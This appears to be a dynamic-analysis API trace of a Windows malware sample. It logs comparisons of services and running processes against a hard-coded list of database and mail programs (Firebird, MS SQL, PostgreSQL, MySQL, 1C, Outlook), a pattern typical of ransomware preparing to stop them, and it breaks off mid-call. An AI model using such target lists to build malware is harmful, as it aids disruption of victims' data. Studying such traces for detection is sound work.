[0059.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0059.010] lstrlenW (lpString="DPS") returned 3 [0059.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0059.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0059.010] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0059.010] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0059.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0059.010] lstrlenW (lpString="eventlog") returned 8 [0059.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0059.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0059.011] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0059.011] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0059.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0059.011] lstrlenW (lpString="EventSystem") returned 11 [0059.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0059.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0059.011] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0059.011] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0059.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0059.011] lstrlenW (lpString="FontCache") returned 9 [0059.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0059.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0059.011] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0059.011] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0059.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0059.012] lstrlenW (lpString="gpsvc") returned 5 [0059.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0059.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0059.012] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0059.012] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0059.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0059.012] lstrlenW (lpString="iphlpsvc") returned 8 [0059.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.012] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0059.012] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0059.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0059.012] lstrlenW (lpString="LanmanServer") returned 12 [0059.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0059.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0059.013] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0059.013] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0059.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0059.013] lstrlenW (lpString="LanmanWorkstation") returned 17 [0059.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.013] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0059.013] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0059.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0059.013] lstrlenW (lpString="lmhosts") returned 7 [0059.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0059.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0059.013] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0059.013] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0059.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0059.013] lstrlenW (lpString="MMCSS") returned 5 [0059.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0059.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0059.014] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0059.014] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0059.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0059.014] lstrlenW (lpString="MpsSvc") returned 6 [0059.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0059.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0059.014] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0059.014] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0059.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0059.014] lstrlenW (lpString="Netman") returned 6 [0059.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0059.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0059.014] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0059.014] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0059.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0059.015] lstrlenW (lpString="netprofm") returned 8 [0059.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0059.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0059.015] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0059.015] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0059.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0059.015] lstrlenW (lpString="NlaSvc") returned 6 [0059.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0059.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0059.015] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0059.015] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0059.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0059.015] lstrlenW (lpString="nsi") returned 3 [0059.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0059.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0059.016] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0059.016] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0059.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0059.016] lstrlenW (lpString="PcaSvc") returned 6 [0059.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0059.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0059.016] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0059.016] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0059.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0059.016] lstrlenW (lpString="PlugPlay") returned 8 [0059.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0059.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0059.016] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0059.017] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0059.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0059.017] lstrlenW (lpString="Power") returned 5 [0059.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0059.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0059.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0059.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0059.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0059.017] lstrlenW (lpString="ProfSvc") returned 7 [0059.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0059.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0059.018] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0059.018] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0059.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0059.018] lstrlenW (lpString="RpcEptMapper") returned 12 [0059.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.018] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0059.018] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0059.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0059.018] lstrlenW (lpString="RpcSs") returned 5 [0059.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0059.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0059.019] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0059.019] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0059.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0059.019] lstrlenW (lpString="SamSs") returned 5 [0059.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0059.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0059.019] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0059.019] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0059.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0059.019] lstrlenW (lpString="Schedule") returned 8 [0059.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0059.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0059.020] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0059.020] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0059.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0059.020] lstrlenW (lpString="SENS") returned 4 [0059.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0059.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0059.020] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0059.020] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0059.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0059.020] lstrlenW (lpString="ShellHWDetection") returned 16 [0059.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.020] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0059.020] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0059.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0059.021] lstrlenW (lpString="Spooler") returned 7 [0059.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0059.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0059.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0059.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0059.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0059.021] lstrlenW (lpString="sppsvc") returned 6 [0059.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0059.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0059.021] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0059.021] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0059.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0059.021] lstrlenW (lpString="SysMain") returned 7 [0059.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0059.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0059.022] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0059.022] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0059.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0059.022] lstrlenW (lpString="Themes") returned 6 [0059.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0059.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0059.022] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0059.022] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0059.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0059.022] lstrlenW (lpString="TrkWks") returned 6 [0059.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0059.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0059.023] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0059.023] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0059.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0059.023] lstrlenW (lpString="UxSms") returned 5 [0059.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0059.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0059.023] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0059.023] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0059.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0059.023] lstrlenW (lpString="WdiServiceHost") returned 14 [0059.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.023] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0059.023] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0059.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0059.024] lstrlenW (lpString="WdiSystemHost") returned 13 [0059.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.024] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0059.024] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0059.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0059.024] lstrlenW (lpString="WinDefend") returned 9 [0059.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0059.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0059.024] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0059.024] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0059.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0059.024] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0059.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.025] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0059.025] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0059.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0059.025] lstrlenW (lpString="Winmgmt") returned 7 [0059.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0059.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0059.025] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0059.025] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0059.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0059.025] lstrlenW (lpString="wscsvc") returned 6 [0059.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0059.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0059.025] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0059.025] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0059.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0059.026] lstrlenW (lpString="wuauserv") returned 8 [0059.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0059.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0059.026] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0059.026] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0059.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0059.026] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4c0000) returned 1 [0059.026] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x140 [0059.170] Process32FirstW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.171] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.173] lstrlenW (lpString="System") returned 6 [0059.173] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0059.173] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0059.173] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0059.173] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0059.174] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0059.174] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0059.174] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0059.174] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.175] lstrlenW (lpString="smss.exe") returned 8 [0059.175] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0059.175] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0059.175] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0059.176] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0059.176] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0059.176] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0059.176] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0059.176] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.177] lstrlenW (lpString="csrss.exe") returned 9 [0059.178] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.179] lstrlenW (lpString="wininit.exe") returned 11 [0059.179] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.181] lstrlenW (lpString="csrss.exe") returned 9 [0059.181] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.183] lstrlenW (lpString="winlogon.exe") returned 12 [0059.183] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.184] lstrlenW (lpString="services.exe") returned 12 [0059.184] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.185] lstrlenW (lpString="lsass.exe") returned 9 [0059.185] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.187] lstrlenW (lpString="lsm.exe") returned 7 [0059.187] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.188] lstrlenW (lpString="svchost.exe") returned 11 [0059.188] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.190] lstrlenW (lpString="svchost.exe") returned 11 [0059.190] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.191] lstrlenW (lpString="svchost.exe") returned 11 [0059.191] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.192] lstrlenW (lpString="svchost.exe") returned 11 [0059.193] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.194] lstrlenW (lpString="svchost.exe") returned 11 [0059.194] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.196] lstrlenW (lpString="audiodg.exe") returned 11 [0059.196] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.197] lstrlenW (lpString="svchost.exe") returned 11 [0059.197] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.198] lstrlenW (lpString="svchost.exe") returned 11 [0059.198] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.200] lstrlenW (lpString="dwm.exe") returned 7 [0059.200] Process32NextW (in: hSnapshot=0x140, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.201] lstrlenW (lpString="explorer.exe") returned 12 [0059.201] Process32NextW (in: hSnapshot=0x140, 